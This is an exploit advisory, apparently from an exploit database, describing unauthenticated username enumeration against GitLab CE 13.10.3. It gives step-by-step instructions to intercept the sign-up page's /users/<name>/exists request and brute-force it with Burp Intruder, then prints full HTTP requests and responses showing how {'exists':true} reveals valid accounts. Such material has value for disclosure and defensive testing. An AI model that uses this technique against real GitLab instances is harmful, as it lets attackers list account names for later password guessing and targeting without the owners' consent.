# Exploit Title: GitLab Community Edition (CE) 13.10.3 - 'Sign_Up' User Enumeration
# Date: 4/29/2021
# Exploit Author: @4D0niiS [https://github.com/4D0niiS]
# Vendor Homepage: https://gitlab.com/
# Version: 13.10.3
# Tested on: Kali Linux 2021.1

INFO: An unauthenticated attacker can remotely enumerate the existence of different usernames in her victim's GitLab CE instance by leveraging its sign_up page [Ex: http://gitlab.local/users/sgin_up]. 

DISCLAIMER: Do not test this method against GitLab.com. Also keep in mind that this PoC is meant only for educational purpose and ethical use. Testing it against systems that you do not own or have the right permission is totally on your own risk.

STEPS: The required steps for this purpose are as follows:

1- fill in the "username" field on sign_up form with something and ensure it is validating the entered username
2- repeat step1 (with username: testuser) while you are intercepting the created request with a proxy tool like Burp Suite. You should see a request similar to the one bellow:
----------------------------------------------------------------------------------------------------------------------------------------------------------------
GET /users/testuser/exists HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/users/sign_up
X-CSRF-Token: <some value>
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: experimentation_subject_id=<some value>; known_sign_in=<some value>; _gitlab_session=<some value>
----------------------------------------------------------------------------------------------------------------------------------------------------------------
* note that the tested username (testuser) is in URI

3- Send this request to Burp's intruder and run a brute force attack on it by replacing "testuser" in the URI as the enumeration parameter.
4- Valid usernames can be found by looking for the statement {"exists":true} in responses. On the other hand, invalid ones give {"exists":false} in responses. So you can find valid users by analyzing the responses. Take the following examples:

-------------------------------------------The following response belongs to a valid user ------------------------------------------
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 19 Apr 2021 09:52:44 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 15
Connection: close
Cache-Control: max-age=0, private, must-revalidate
Etag: W/"8063e5a51719c58189c7d5209a5f37b3"
Page-Title: GitLab
Set-Cookie: _gitlab_session=<some value>; path=/; expires=Mon, 19 Apr 2021 11:52:44 GMT; HttpOnly
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Gitlab-Feature-Category: users
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: 01F3MRQTB94MT0HQXE0NMEMP7F
X-Runtime: 0.221557
X-Ua-Compatible: IE=edge
X-Xss-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000
Referrer-Policy: strict-origin-when-cross-origin

{"exists":true}

-------------------------------------------The following response belongs to an invalid user ------------------------------------------
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 19 Apr 2021 09:55:34 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 16
Connection: close
Cache-Control: max-age=0, private, must-revalidate
Etag: W/"e39f603a5ebcff23859d200f9c9dc20f"
Page-Title: GitLab
Set-Cookie: _gitlab_session=<some value>; path=/; expires=Mon, 19 Apr 2021 11:55:34 GMT; HttpOnly
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Gitlab-Feature-Category: users
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: 01F3MRX0GJGG1DE8RPKPCVC7Q0
X-Runtime: 0.033046
X-Ua-Compatible: IE=edge
X-Xss-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000
Referrer-Policy: strict-origin-when-cross-origin

{"exists":false}